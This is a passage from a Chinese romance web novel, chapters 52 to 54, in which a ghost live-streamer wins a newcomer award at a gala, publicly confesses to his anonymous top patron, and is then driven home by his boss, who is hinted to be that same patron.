轮胎碾过积雪,发出细微的咯吱声。前方那辆黑色奔驰在A市苍茫的雪幕中穿行,尾灯晕开昏黄的光晕,像两盏飘摇的孤灯,在纷扬的雪絮里忽明忽暗。 肖特助紧紧咬住车速,司机的电话在三声之后接通。 “今天是你送人去蓝海国际么?” 对方似乎飞快反应了一下他的声音: “是的,舟总。” “人在你车上?” “是的,一切安全,请舟总放心。” “双闪灯间隔两秒连打三下。” “现在。” 傅宴舟目光牢牢锁住前面的车,对着车载蓝牙发出指令。 一阵尾气卷起白色落雪,雨刷晃动之间,前面的奔驰尾灯在纷纷雪花下坠的中,准确地在两秒的间隔内亮起,又熄灭,亮起,又熄灭。 精准的、规律的三次尾灯闪烁,仿佛少年笨拙又可爱的一举一动,于纷纷落雪中在傅宴舟的瞳孔里投下摇曳的倒影—— 作者有话说: 宝宝你要被某人情趣py了 第52章 宁尔一眼就看到了台下西…… 宁尔听到了司机称呼“舟总”, 坐在副驾驶上用嘴型问他: “是舟先生吗?” 司机点了点头。 宁尔示意可不可以让他来听电话,司机犹豫了一下,把接听切换到手机上, 递给宁尔。 “哥哥, 是你在打电话吗?我是小耳朵~” 宁尔清脆的声音在电话里响起, 过了几秒才听到对面“嗯”了一声。 “哥哥放心吧,司机哥哥开车很稳, 时间也都来得及。” 过了很久很久, 宁尔以为电话断线了, 对面才传来舟先生的“好”。 车子开到活动场地, 宁尔远远地就看到一条长长的红毯, 两边有很多闪光灯摄像机,聚集了一众各式各样的帅哥美女。 除了西装礼服外, 还有穿得像糖果一样五颜六色的卡通人物,形形色色,很是有趣。 宁尔下了车,有工作人员举了一块大大的牌子“亲亲小耳朵”。 那块牌子前聚集了一些等待着的人,女生偏多, 手里拿着一些自制的条幅、小扇子。 是粉、粉丝吗? 宁尔又惊又喜,有点不好意思地下了车,朝那块牌子走过去。 人又多又挤,他戴着口罩眼镜,竟然没什么人注意到他。 宁尔好不容易挤到牌子下, 小心地拽了拽工作人员姐姐的衣摆: “您好, 我到了。我是亲亲小耳朵。” 宁尔又叫了两声工作人员才发现他,看着这个头部主播连大框镜都没摘,就这么大大咧咧出现在粉丝堆里, 赶紧一把拽起来他跑了。 宁尔被带到一个门上贴着“亲亲小耳朵”的专属化妆间里,造型师们已经在等他了,不少工作人员也过来凑热闹,想看看这个“明星主播”的真容。 “这个就是亲亲小耳朵吗?” “好像和长得和想象的不太一样啊。” “谁啊?你们缘来最热门的新星主播吗?” 今天的盛典是几家娱乐主播平台联合举办的,很多露脸直播平台的工作人员平时接触的都是帅哥美女,听说新星理所当然认为是颜值能打。 门口传来一些细碎的交谈,被宁尔听在耳朵里,化妆师直接啪地一声,把其他人都关在了外面。 他和宁尔一起看着宁尔镜子里那张脸,像是出于职业的本能,语气有些疑惑: “为什么要故意扮丑?” “抱歉,无论你长什么样,走出这间化妆室都只能是帅或者更帅。” “……” 宁尔在化妆间里只待了十分钟。 出门前的一刻,他的目光还盯在那只口罩上犯纠结。 对上化妆师小哥哥欣赏艺术品般的眼神,宁尔最终放弃了戴口罩。 鬼,要尊重人的劳动成果。 他打开门的一刹那,原本不再注意这间专属化妆室的众人在彼此的目光中纷纷回头。 少年冷白的肌肤如釉瓷般细腻,刚才漆黑没有的光泽漆黑瞳眸变成了翡翠碧绿,在灯光下流转着莹润光泽。他睫毛低垂时投下浅影,小巧的鼻梁线条流畅,下颌线将脸型勾勒地精致像建模。 宁尔直接被工作人员引导带走了,身后顿时一群人围到他的化妆师身旁: “晟哥晟哥,你这美瞳什么牌子啊?怎么惊艳地这么自然啊?” “晟哥粉底液怎么调的?又有新手法了?” “他还没露过脸吧?看来你们缘来又有新王牌了。” “是不是最帅的不知道,但榜一大哥的确是缘来最牛的,有得看喽。” 宁尔一路上从内部通道直通嘉宾席,会场几乎已经要坐满人了,宁尔被带到主播区第一排的位置,虽然不是最C位,但一出场周围主播嘉宾都纷纷投来目光。 忽然来到这么多人面前、被这么多人类关注,宁尔一时间紧张地不得了。 他冰凉的鬼爪子微微发汗,两只手紧紧地贴在白色西裤边上,一时间不知道站着还是坐着。 忽然有一个女主播先开了口: “天呐,你就是亲亲小耳朵呀?” 她穿着非常漂亮的紫色连衣裙礼服,漂亮得像个小仙女。 宁尔赶紧小心地点点头: “你是?” “我是梨花落雨啦,你可能不认识我,不过我有看过你的直播哦。” 宁尔这才看到人家椅子上贴着的名字,赶紧道: “梨花宝你好,我是亲亲小耳朵。” 他虽然不认识梨花落雨的样子,但当然知道梨花落雨这个主播,这可是缘来粉丝top2的大主播。 “你长得也太帅了吧!!简直像个小王子!可以合个影吗?” “可、可以的。” 宁尔十分乖巧地站在梨花落雨旁,接受拍照。 “哎呀你比我高好多啊。” 梨花落雨胳膊伸地很长还是难框进来,随口一说,宁尔立马半蹲下去,只露出个脑袋在梨花落雨旁边。 梨花落雨忽然惊讶地回头看着他,宁尔微愣: “怎、怎么啦?要再低点吗?”宁尔干脆顺势蹲在了地上。 “你也太可爱了吧!!!!” 她这一嗓子让氛围活了起来,几个缘来的主播直接当着面开始聊他。 “小耳朵其实我也是你的粉丝!我是唱歌主播,之后来我语音房玩呀。” “记得我吗?之前你在我语音房刷过礼物。” “你长这样怎么不去开视频直播啊?简直是屈才。” “人比声音还萌哈哈哈,好像社恐i人。” “西装胸口这朵玫瑰花有什么意义吗?” 宁尔感觉语音房里的弹幕忽然活了,变成现实一样围绕在他的周围。 宁尔像个npc手办一样,萌萌地回答各种问题、配合各种姿势动作合影。 周围这片不社恐的主播都跑来互动,还有其他软件的也探过头打招呼要加微信,引起了一小片躁动。 盛典很快就要开始了,工作人员不得不来劝各位先行落座,之后再互动。 这样一握手合影算是和大家有了一点点互动,而且每个人类都香香美美很友好的,极大程度缓解了宁尔紧张的心情。 和他们说话、互动,听到在语音房里听过的声音,有种线上人物都活过来的奇妙和梦幻感。 宁尔坐好,他旁边的椅子上竟然放着一个Q版人物的玩偶。 是、是因为怕他孤单社恐,所以还专门放了一个玩偶吗? 左边的主播看出来了他的疑惑,笑了一声: “他是‘晨’啦,只是不愿意出席露脸,所以就用了代表自己形象的玩偶来参加。” 竟然还能这样。 宁尔想起来了,“晨”确实也是缘来的一个声音特别特别好听的大主播。 宁尔觉得这个玩偶很可爱,于是悄悄凑近,也拿出手机咔嚓合了一张影。 全场灯光暗下,盛典年会开始。 灯光在舞台上闪动,不一会儿就是各种精彩的表演。表演结束,金光璀璨中主持人优雅的声音稳稳地升起,很具感染力的穿透了全场。 宁尔都看呆了,随着每一次的介绍跟着全场一起鼓掌。 从刚刚开始手机就一直在口袋里震动,是不断有新消息的提示。 宁尔偷摸把手机拿出来打开缘来一看,基本都是缘小圈里的“@”。 刚刚几个主播发了和他的合影,艾特最多的是梨花落雨的那条缘小圈,文案直接是: [谁已经和男明星合到影了?萌到没边了我说。] 上万条时时评论。 没有一条不是说他帅。 宁尔退出来滑了一下缘小圈的主页,更是吓了一跳,基本全是他的照片。有的照片感觉是很远处抓拍的,但十分清晰,画质像电影一样。 宁尔又回到消息聊天界面,春风哥的在最上面: [上热搜了小耳朵] 然后是一个截图: #年度盛典小耳朵 #傅宴舟 嗯? 春风截的是一整张热搜图,下面竟然有傅总的名字。 宁尔正想打开那个软件去看看傅总的热搜是什么,“同桌”忽然咳嗽了一声怼了怼他的胳膊,吓得宁尔赶紧把手机收回座位里。 果然,下一秒,一台巨大的摄影机器就怼到了他的面前。 乖乖坐好.jpg 没一会儿,颁奖典礼开始。毕竟是缘来主办的盛会,所以缘来的主播都压轴压台,前面欣赏了很多其他直播软件的大主播们。 他们有的是帅哥美女,有的讲话十分有趣,有的站上去两分钟就能把台下逗笑,有的能顺便表演一段儿小才艺,有的获奖感言发自肺腑,令鬼都闻之落泪。 可能因为大家毕竟不是专业明星演员,比起宁尔看到的那些视频,这个领奖盛典更接地气一些。 宁尔从来没有一下子见过这么多优秀又可爱的人类。 他们因为相似的身份相聚在一起,又给无数屏幕外的粉丝观众带来欢乐和意义。今夜,仿佛一切都只有和平和美好。 宁尔认真看颁奖的时候把自己的词写好的词背了一遍又一遍,小心地希望自己不要卡壳出错。 终于到了缘来的颁奖环节,总共有8类奖项,越往后颁奖,同一奖项的获奖人数越少,奖项也越来越有分量。 宁尔提前知道他这个奖项一共有两个主播,除了他之外还有一个女主播,他们是在倒数第二个领奖。 宁尔一个个奖认真地数着,结果倒数第四个的时候工作人员忽然来告诉他,同奖项女主播飞机延误,赶不过来了,所以把他的奖项调整到了最后一个。 一个人,在整场盛典上最后一个领奖。 前面还是最热的缘来粉丝top5“最佳人气奖”。 气人。 这和牛排后面小甜点、火锅最后的免费小水果有什么区别。 呜呜呜呜呜,鬼紧张。 “同桌”也听到了这个消息,他刚刚已经领过奖了,有些同情地看着宁尔,确实能共情他的紧张。 超燃的音乐响起,年度top5粉丝量主播纷纷起身,直播这么多年,粉丝量那么多,能力、魄力、自信心都成为了一种气质。 梨花落雨一身紫色礼服踏着高跟鞋大方利落地走过他身边,路过时候还拍了拍宁尔的肩膀,明媚大方地朝他一笑: “等会儿别紧张哦。” 他们虽然是五个人的共同奖项,但是每个人都有超长的单人互动和感言,估计还得四十分钟。 宁尔紧张地都有点想上厕所了,他干脆偷偷拿出手机,打开和舟先生的聊天对话: [哥哥,马上就要到我上台领奖啦。] 领奖台上是有全程直播的,只要他上台,观看盛典的所有观众就能看到他了。 过了一会儿舟先生回复: [嗯,我在看,宝宝。] [呜呜呜呜呜紧脏怎么办哥哥?歪头/打滚/毛毛虫爬/] [真的好紧脏] 银耳粥:[哥哥教你一个办法。也是小时候别人教我的。] 亲亲小耳朵:[say呀say呀] 银耳粥:[台下有你认识的人吗?] 亲亲小耳朵:[有的哥哥。] 银耳粥:[如果你感觉很紧张,被很多人看着的时候,用你的目光在台下找到一个你熟悉的人看着他,把你的话当做是说给他听的。] 宁尔认真想着这个办法,好像确实有点儿道理哦。 看着一群人的眼睛会紧张,和看着自己的“朋友”,就会好很多。 他的同桌,刚刚的梨花落雨,都可以。 [谢谢哥哥!笔芯/笔芯/] 宁尔说完之后就收起了手机,甚至都忘记问,舟先生是不是已经看到他的照片了。 最佳人气奖很快结束,众人下台时候全场掌声雷动,舞台前更是喷起了数十道金色的冷烟花,气氛一时间烘托到了极致。 有一些主播看完这个奖项都打算走了,这时一段钢琴乐才缓缓响起,聚光灯重新聚焦在舞台中央,主持人醇厚而富有磁性的嗓音响起: “接下来,让我们共同见证一个特别的时刻,一个特别的主播……” 她故意拖长的尾音吊足了观众胃口: “下面,有请年度新星获奖者——亲亲小耳朵!” 铺天盖地的掌声响起,宁尔全神贯注,在整个会场的注意下,轻拢西装外套,抬起头,一步步走上那几节红色的阶梯。 宁尔被引导到舞台中央,像所有获奖人一样,接受着灯光、掌声、奖杯。 直到节奏鼓点强烈的音乐结束,主持人说把舞台交给“亲亲小耳朵”,全场的灯光忽然全部暗下,只留下一束大大的主光,如同耀眼的星光,从45度的斜上方地打在少年一个人身上。 细碎的微尘在灯光的照耀下纷飞起舞,全场都进入了一种凝神屏气的期待,宁尔站在麦克风前,指尖在身侧微微发颤,喉结不自觉地滚动。 怦、怦、怦——剧烈的心跳声在耳膜处不断放大,几乎要盖过周遭的一切声响。他俯身调整麦克风高度,睫毛在脸颊投下细碎的阴影。 他只能听到自己重重的心跳声。 宁尔不动声色地深深吸了一口气,抬眼的瞬间,目光穿透光幕,认真去寻找台下他认识的面孔。 无数个移动的大型摄像机前,乌泱泱的人群中,宁尔第一眼就看到了第一排中间的那双腿交叠,戴着金丝边眼镜的人—— 作者有话说: 是傅总哈~ 宁尔第一眼:怎么是你? 宁尔第二眼:是你也行叭~ 第53章 因为有你们,我才有以后…… 傅总。 傅宴舟已经换了一套低调的纯黑色西装衬衫, 剪裁利落的衬衫领口一丝不苟地系着暗纹领带,将他整个人衬得愈发挺拔修长。 他双腿交叠在一起,脸上戴着一只黑色口罩, 金丝边眼镜后面的那双幽黑的眼睛一反常态, 饱含温柔。 饱含温柔…… 宁尔呆滞地看着傅宴舟, 想移开目光,就看到傅总朝他轻轻点了一下头。 他身上的气场很强, 哪怕是坐在这种星光熠熠的娱乐会场里, 也如同生意场上说一不二的最高决策者一般。 眸光越过光河他对自己轻轻颔首, 莫名给了宁尔一种安心感。 他的心跳渐渐趋于平稳, 可是只平稳了一秒宁尔就更紧张炸毛了! 亲亲小耳朵! 傅总也知道他是亲亲小耳朵?? 每天夜晚他在盛景大楼里撒娇八连和哥哥甜蜜互动的样子, 傅总都知道? 宁尔瞳孔猛地一震,脸蛋通红, 一时间更加说不清话,结结巴巴地自我介绍了一句: “大、大家好,我是小耳朵。” 连ID都忘记说全。 说完之后宁尔又不知道要说什么了,原本背好的词此刻在脑子里忽然一片空白,在他脑中的稿子字体忽然越来越淡, 飘得越来越远。 宁尔隐约看到傅总侧头和旁边的人说了一句什么了,大概就这么沉默僵持了30多秒,可能终于感受到了他的紧张,女主持人温婉的声音从缓缓从侧台传来: “小耳朵,亲亲小耳朵, 你在吗?” 宁尔被这个问题拉回了一些思绪, 下意识回答: “我在。” 主持人的声音继续传来: “今天啊,除了我们在场的主播以外,还有一些人, 此刻正在非常关注你的一举一动,期待着你的每一句话。” “她们有的从傍晚等待到凌晨,等待你分享每天的所见所闻;她们有的从你身上感受到了平凡人的力量,开始从爱生活变得更爱生活;她们有的从你的祝福音频里得到了‘玄学加持’,让很多愿望得以梦想成真。” “你愿意和他们一起分享此刻的喜悦吗?” “我……”宁尔朝着主持人的话音转身,他面前手机直播的画面忽然被投到了身后的舞台大屏上。 是缘来的官方语音房。 直播接入,宁尔在大屏幕上看着转过头的自己,瞬间涌入无数条弹幕。 [啊啊啊啊啊帅得我晕过去了救护车救护车] [我反复确认了12次这个ID,这男明星真是咱亲亲小耳朵?!] [天呐宝宝长得和我想象的一模一样!不对,比我想象中还要帅!] [耳宝你是不是有点紧张呀?补药紧张啊!就像平时和我们聊天一样!] [对对对补要紧张啊!!我们都是你的兵啊!] [你就猛猛说吧耳宝,不用表情管理,不用担心任何,再崩的截图姐都能给你p。] [别紧张,天塌下来春风我给你顶着。] [别忘了你可是年度新星哦] 宁尔看着一个个熟悉的ID,葡萄冰沙、玥玥、春风与你皆过客、酒酿圆子、乘风破浪…… 仿佛和这半年来每个夜晚一样,又好像有一些不一样了。 宁尔的心跳逐渐一点点平复下来,细柔的镁光照在他眸框中微微湿润的瞳孔,宛若明亮的星河碎钻。 宁尔抬眸,在视线模糊的间隙看向面前的摄像头,对着摄像头扬起一个大大的微笑。 嘴角的互动在精致白皙的脸颊两侧带起两个漂亮的下酒窝,少年眉目清澈,在镜头前露出了最阳光真诚的一幕。 宁尔没再看弹幕上一连串的“啊啊啊啊啊”,修长白皙的手指扶上麦克风: “谢谢大家。” 他真诚地鞠了一个躬。 宁尔忽然不想背那些元之帮他写好的词了。 或者说,不想只背那些词了。 他感谢过官方、感谢过缘来、感谢过妆造师之后,把麦克风拉得更进了一点。 少年清澈哽咽的声音婉婉从道来: “在遇到你们之前,我曾经一度以为,我可能没有以后了。” “我丢了很多份工作,出租屋每隔几个月就会涨价,我常常吃不饱,每天头都晕晕的。” 台下立马传来一阵极小声的窸窣声,是在讨论他的发言。 在颁奖典礼上卖惨这种事儿,哪怕是真的,现在也早就过时了啊。 谁赚钱都不容易,大家打工都很累,你都是头部主播了,还站在这里卖惨,很容易引起众人的不满。 很多缘来的主播都位亲亲小耳朵捏了一把汗,担心他的这些话会被群嘲。缘来怎么搞得,也没提前给他培训一下。 众人都有些紧张地等着他下一句话,哪知道亲亲小耳朵话锋一转: “你们说,因为有了我,每个夜晚都准时等待,等我讲述一天的故事。其实,是因为有你们的期待,我每天才会去做一些新鲜的事情。” “这些事情,在我漫长的人生中从未发生过,也许,以后也可能不会再发生。” “你们说,因为看我有了力量,更爱生活了。其实,每天下播之后我都会点到你们的主页,看你们在缘小圈分享的日常生活,看你们分享的每一片天空、每一朵云、每一顿饭,每一次喜怒哀乐。” “我才会可以,一直一直坚持下去。” “你们说,因为我的祝福语音,很多事情真的做到了、能够梦想成真。” “其实,我也是因为给你们录制祝福视频——” “才知道这个世界上竟然有那么多各种各样的考试啊……” 宁尔由衷地感慨了一句,他的2万份愿望录音里至少有1万份都是祈祷各种考试顺利、上岸。 煽情的发言以幽默结尾,引来一阵全场的哄堂大笑,还有一阵阵掌声。 红色的舞台上,一袭白色西装的宁尔在追光灯下,发梢随着微风轻颤,宝石般的绿色眼睛亮亮的一眨又一眨。 他不再盯着屏幕里的自己看,抬起目光,忽然有了一股很强的力量和自信,目光看向台下一层层的观众。 “最后,我还想感谢一个人。” [猜到了猜到了] [啊啊啊啊啊甜死我了] [他不会是要感谢榜一吧?] [颁奖典礼感谢榜一大哥第一人] 今天的年度盛典,除了各大公司的主播以外,还有一个小区域是“特邀嘉宾”。这些嘉宾并非普通观众,而是各个主播打榜前几的“守护者”,或者是年度消费最多的观众,说白了就是一些榜几大哥大姐。 愿意露脸的大哥大姐不算多,所以总体来线下的不多,但还是有30多人全程参与到现在。 即使这样,刚才那么多主播,也没有一个点名道姓专程感谢某位榜一。 毕竟主播是个拼粉丝拼人气的职业,表面上能一碗水端平,谁愿意在这种场合得罪人。谢了一个榜一,恐怕以后就没有其他人愿意真金白银大把守护了。 宁尔温柔一笑,绿色的瞳眸如宝石般细细闪烁,嘴角扬起漂亮的弧度: “没错,你们已经猜到了,就是舟先生。他今天虽然没能到场,但我胸口这朵玫瑰花就代表了他,在陪我一起。” “他是在缘来里,第一个给我刷礼物的人、第一个带我去看星星的人,第一个说喜欢我的人。” “也是唯一一个。” 宁尔停顿了一下,目光恰好扫过傅总,他正在眼神无比专注地和他对视着,神情比方才还要温柔。 宁尔愣了一下,不动声色地收回目光,他轻轻吸了一口气,把面前直播地手机拿起来,嘴巴对着手机的麦克风处: “舟先生,我也喜欢你。” 整个会场沉默了一下,继而马上爆发出一阵极其热烈的掌声。 弹幕都刷疯了,整个会场的各大主播也纷纷激烈地讨论起来。他们第一反应都是太过诧异于这个主播竟然这么直接地表白榜一,一边佩服他的魄力,一边不禁好奇他这么做有没有什么负面影响后果。 还有的惊诧地问了几遍是不是听错了,确实是“先生”。同性恋爱虽然已经很普遍了,但仍然很少有人会在大型公开场合这样秀出来。 讨论完掌声更激烈了,别管同性异性,不管榜一榜二,亲亲小耳朵在台上回应对方的表白,这不就是纯爱吗?! “谢谢大家!” 宁尔没再多说一句话,他拿着沉甸甸的奖杯,走到舞台的最前方,朝所有人鞠了一个礼貌漂亮躬。 数十道冷烟花喷射而出,头顶金色花雨“怦”地一声缓缓飘落,璀璨的火花在空中交织成一片绚烂的光幕,整个舞台大厅一瞬间被染成金碧辉煌,金色花雨纷纷飘落于宁尔眼前,他的目光看向第一排的傅总。 他也同其他人一样鼓着掌,温柔的眼神中蕴含着宁尔看不懂的复杂,暗波涌动。 如果这里今天坐着的人是舟先生,那就圆满了。 宁尔扬起嘴角,对着手机直播的屏幕,在飞速滑过的弹幕中,做了一个他经常发的表情包动作。 wink。 大屏幕同时把宁尔认真眨眼的动作投屏放大,画面里,他头发上沾着一些金色粉末,微微侧过脑袋,纤长的睫毛随着眨眼跳动,漂亮的脸蛋表情俏皮可爱。 宁尔在一片绚烂梦幻中挥手告别,最后一个奖项领完,场内开始陆续有起身退场,从侧台走下之后宁尔本想返回座位,却直接被工作人员指引到后台,说有人来接他。 走到一半儿工作人员忽然停下脚步: “小耳朵,请问可以和你合个影吗?你真的太可爱了~” 宁尔笑了笑:“当然可以啦。” 他稍稍俯身,把自己的脸靠得前前地,占掉一半儿屏幕合影。 宁尔紧紧握着奖杯继续往后台走去,穿过连廊来到了一个办公室里,里面已经有人了,工作人员敲了敲门,里面立刻有人来开。 宁尔走进去,里面有几个人,宁尔都不认识,只认识沙发上坐着的那个,傅总。 他们都热情地和宁尔用人类的礼仪握了手,有人帮忙介绍: “小耳朵,这位是咱们缘来的CEO,秦总。” 宁尔有些懵地和CEO握手,就听到她言辞很温柔: “小耳朵,虽然你没有和我们公司签订长期合同,但我为缘来以及缘来的观众能有你这么优秀敬业的主播表示衷心的感谢。” 宁尔有些不好意思: “不、不用谢吖~秦总~” 宁尔不会说什么漂亮话,被这么多人看着,也站得笔直,秦总说一句,乖巧地答一句。 “你可能还不太知道,这位是咱们公司的大股东,傅宴舟傅总,傅总说你们有私交,特意在等你。” 秦总像是还有话要说,但碍于大股东坐在这儿,只能寒暄了两句之后就给宁尔介绍。 大股东? 宁尔不懂什么大股东小股东,但从秦总恭敬的态度来看,傅总应该也是他的上司。 “傅、傅总好。” 傅宴舟颔首,两条交叠的大长腿放下,从沙发上站起来,一旁连忙有人给他递来黑色毛呢大衣。 傅宴舟接过大衣,朝秦总淡淡点了下头,转身对宁尔道: “一起走吧,顺路。” 顺路,回、回公司吗? 可是他、他已经请假了…… 周围的人都在看着,宁尔识趣地没再多问,点点头,跟着傅宴舟走。 外面还在飘雪,一出门两边有人立马给他俩撑起了伞。 宁尔看到给自己撑伞的小男生自己反而淋着雪,连忙推推他的手臂: “你自己撑。” 小男孩惊讶了一下: “没事的……” “你自己撑。”宁尔很坚决。 那边还在犹豫,傅宴舟忽然接过一把新伞,撑在宁尔脑袋顶上,转身和所有人道: “不用送了。” 他说话比宁尔管用多了,顿时所有人停下脚步,撑伞的也不动了,带路的也不带了。 宁尔回头,看着他脑袋顶那把伞,伞虽然不小,但两人共撑一把,身体还是会相互靠近一些。 “傅、傅总……” “走吧。” 两人身体靠近,刚走了两步宁尔就别扭地停下脚步: “怎么了?”傅宴舟微微俯身问他。 “我、我来撑伞吧。”宁尔挠挠头。 “为什么?” “因为傅总是上司。要给上司撑伞。” 宁尔也是看过那么多电视剧和新闻的鬼,从来没见过上司给下属撑伞。 “不用了。”傅总拒绝了他的提议。 “你个子矮。” “……” 宁尔顿时睁大眼睛,仰头气鼓鼓地看着傅宴舟,仿佛难以置信他36度的嘴巴能说出这么冷冰冰的话。 傅宴舟随手把手里的大衣丢给他: “帮我拿衣服。” “拿不动就自己穿上。” 宁尔莫名其妙接过他的大衣抱在怀里,精细的毛呢质感上传来阵阵雪松男香味。 他只穿了衬衫和西装,怀里忽然抱了件衣服,确实挺暖和的。 谁让他说鬼矮。 宁尔报复似的把衣服往紧搂了搂。 傅宴舟看着宁尔气鼓鼓的表情,脚下明显加快的步子,嘴角在口罩下忍不住扬起笑容,伞布大半倾斜在少年身上。 两人来到一辆劳斯莱斯前,宁尔习惯性地往后排钻,傅宴舟道: “坐副驾。” “哦哦,忘了忘了。” 忘了张哥培训过他,和领导上司出门要坐在副驾驶,让领导坐后排。 宁尔刚拉开副驾驶上车,就看到傅总收了伞,反倒是自己进了驾驶位。 宁尔呆呆地看着他发动车辆,一双骨节分明的大手熟练地转动方向盘。 张哥、张哥没有告诉过他上司能不能给下属开车呀…… 傅宴舟转过头,认真地看着宁尔。宁尔能感受到,今天他的眼神和目光在他身上停留的时间,和往日“瞥一眼”完全不同。 那是一种认真、温柔,甚至有些……宁尔说不上来那种感觉,只觉得傅总的眼眸幽黑、深邃。 宁尔避开他的目光,傅总可能看够了,有些失神,才开口: “刚才缘来总裁说得话,你听得懂吗?” 宁尔点点头,又摇摇头: “大、大股东,是什么意思?是老板的意思吗?” 傅宴舟莞尔,轻轻颔首: “可以这么理解。” 看来他猜的没错。不然,傅总怎么会有理由出现在这个地方呢。 “所以,‘缘来’其实也是傅总的公司吗?傅总一直都知道我在缘来做主播吗?” 宁尔眨着眼睛看着傅宴舟,阴差阳错,他竟然给傅总打了两份工吗? 傅宴舟没回答,打了一圈方向盘转弯: “刚知道。” 也对哦,大老板怎么会知道公司的每一个主播,只会是刚刚看他上去领奖才知道。 “好巧啊,傅总。”宁尔眼睛亮亮的。 口罩下傅宴舟嘴角扬起: “是啊,好巧啊。” 有这样的巧合和关系,宁尔感觉他和傅总又更熟了一点! 这样要到蓝宝石的机会就又增加了几分。 宁尔美滋滋地把手往口袋里一摸,发现是空的。 他一怔,这才想起来刚刚上去领奖前直接放在座位上了。下台的时候直接被带走,没来得及去拿。 “哎呀”宁尔叫了一声。 “怎么了?” “傅总,我手机落在那里了。”宁尔有些焦急,他感觉车已经开了很久了,不知道折返回去还得多久。 傅宴舟单手握方向盘,从口袋里拿出手机,拨通电话,简单地说了两句,转头对宁尔: “你的地址。” 宁尔报出了他的那个出租屋地址,报到最后声音有些心虚。 毕竟那个地址在人类世界属于“贫民区”,也不知道傅总会不会嘲笑他…… “他们去找找,找到会帮你送到家。” 傅总挂了电话。 “谢、谢谢傅总。” 他刚刚直播完,想都不用想都知道会有多少人给他发消息找他。 没有手机号,他连缘来都没办法登录。 现在已经这么晚了,要找到手机可能也得明天。 宁尔有些焦急: “傅总,我能借用一下您的手机吗?就打一个电话就好。” 傅宴舟拿起手机,输入密码解锁递给他。 宁尔打开拨号界面,拨出那个他在脑子里唯一记得、记得滚瓜烂熟的电话号码。 “您好,您拨的电话正在通话中。” “您好,您拨的电话正在通话中。” 一直在通话中。 宁尔等了五分钟,又打了一个: “您好,您拨的电话正在通话中。” “怎么会这么巧一直在通话中呢……” 傅宴舟听到宁尔的嘀嘀咕咕,愣了一下,忽然猛地意识到了什么,一脚刹车把劳斯莱斯停在路边,从置物箱里拿出一只备用机: “用这个打吧。” 宁尔把手机还给傅总,用新手机再次拨通,果然,这次通了。 “嘟——嘟——嘟——” “嗡——嗡——嗡——” “嘟——嘟——” “嗡——嗡——” “嘟——” “嗡——”—— 作者有话说: 怎么会一直在通话中呢傅总? 第54章 傅总会当做再也不认识我…… 宁尔拨通电话的时候, 傅总的手机也同时响了。 他嘟一声,傅总嗡一下…… 一个接不通,一个不接。 他看着傅总, 傅总也看着他。 两人这么大眼瞪小眼互相看了一会儿, 宁尔才忽然意识到, 傅总不接电话好像是因为他在车上…… 宁尔后知后觉,赶忙识趣了说了一声“傅总我下去打”, 就打开门一溜烟跑了。 宁尔一口气跑到离车二十米开外的地方, 确保他听不到傅总讲电话之后才停下。 电话被应声接通, 宁尔赶紧对着话筒: “喂, 舟先生, 是你吗?” 这也是宁尔第一次拨通他的电话号码。 对面似乎反应了一下: “是我。宝宝?” “是我是我!哥哥,我刚刚参加完颁奖典礼, 正在回公司路上,但是发现手机忘记拿回来了,不知道什么时候才能找到。” “手机忘了?要不要哥哥去帮你找?” “不用不用哥哥,已经在找啦~我就是怕你联系不到我着急。” 宁尔听到舟先生轻笑了一下: “嗯,会急。” “宝宝, 颁奖典礼我全程都看了。” 舟先生语气很温柔,宁尔想到自己当着众人面的隔空表白,登时脸红到耳根: “怎、怎么样呢?” “你表现地很好,没有怯场,没有卡顿, 姿态大方, 句句真诚。感染力很强。” 宁尔被夸地心里冒泡泡,舟先生的肯定在心中分量非常足。 宁尔边打电话边蹲在地上,伸出手指, 在积雪的路边雪堆上画了一个小爱心出来: “那、那最后一句,哥哥听到了吗?” “最后一句?谢谢大家?” 宁尔一怔:“不、不是这句!” “是哪句?有点想不起来了。” “……” “我喜欢你。”宁尔蚊子一样小声喃喃。 他鼓起勇气的表白,舟先生竟然都没在意。 “什么?没听清。” “我、说,我、喜、欢、你!” 宁尔把手机音量调高,对着听筒,一字一句道。 电话那头沉默了半晌,传来舟先生悦耳的低笑声,语气中是抑制不住的餍足得意。 宁尔一怔,这才反应过来,又在逗他。 他对着电话哼唧了一下: “先不和你说了舟先生,我要回公司了。” “今天不是请假了么?” 宁尔隔着屏幕摇了摇头: “说来话长,哥哥。” “那就长话短说。” “……” “我今天才发现,缘来的老板和我现在公司的老板,竟然是同一个人!他今天也参加了颁奖典礼,结束后顺便捎我回公司。” “嗯。” 舟先生这个“嗯”字里没有丝毫惊讶,宁尔有些好奇,不过他很快就明白,舟先生不知道这个‘老板’就是大名鼎鼎的傅宴舟总裁,也是他有求于人的那个“人”,所以没什么反应。 “那哥哥那我先挂啦?等我找回手机第一时间告诉你。” “好。路上注意安全。” “我想你了。” 宁尔站在昏黄的路灯下,听着舟先生这句认真的“我想你了”,在那颗心里认认真真写了两个名字。 小耳朵x舟先生 “我也想哥哥。” 宁尔挂了电话完没多久,傅宴舟直接开着车来到他身边。 宁尔赶紧跑上车,傅宴舟稍稍侧头,从车窗里看到路灯下那颗爱心和名字,在白雪上闪耀着细碎的光。 宁尔乖乖递上手机,傅宴舟示意他放下就行: “和男朋友打电话?” 车辆启动,傅宴舟不经意间问。 宁尔有些不好意思的眨眨眼: “您、您怎么知道?” “猜的,感觉你心情不错。” 宁尔点点头,软软地嗯了一声。 “借上司的手机给男朋友打电话?” 傅宴舟忽然来了这么一句,语气里听不出情绪。 宁尔一愣,认真揣摩了一下,忽然想到傅总也有男朋友这件事,觉得他可能想自己的男朋友了,于是拿起手机递到傅总面前: “傅总,您打吗?” 傅宴舟眉头轻蹙: “我?打给谁?” “当然是打给您的男朋友啦。您要是开车不方便,我帮您拨号!” 宁尔真诚地看着傅宴舟,眼睛一闪一闪的眨着。 傅宴舟克制住把人按在副驾驶上就地亲一口的冲动,喉结动了动,轻声道: “不用了。” “哦哦,那好吧。”宁尔把手机收回来。 他们说话间车辆一直在行驶,没几分钟后就停了下来。 “下车吧。”傅总道。 宁尔把脑袋趴在车窗上看了看,这里并不是地下车库,也不是公司前。 “傅总,这里好像不是公司……” 傅宴舟伸手把安全带从胸前摘下,扭头看着,他目光中似乎带着点笑意: “谁说要去公司?” “那、那……” 宁尔懵懵地跟着他下了车,一下车就发现这里并不是其他地方,而且存放着那颗蓝宝石的傅家私人珠宝展馆! 傅总为什么会带他来这里? 宁尔心跳瞬间加快,眼睛猛得睁大,脚下几乎移不开半点步子。 此刻,他的反应落在任何人眼里,都会被解读为“很感兴趣“。 这个反应当然也落在了傅宴舟眼里,他看着宁尔柔声道: “跟我来。” 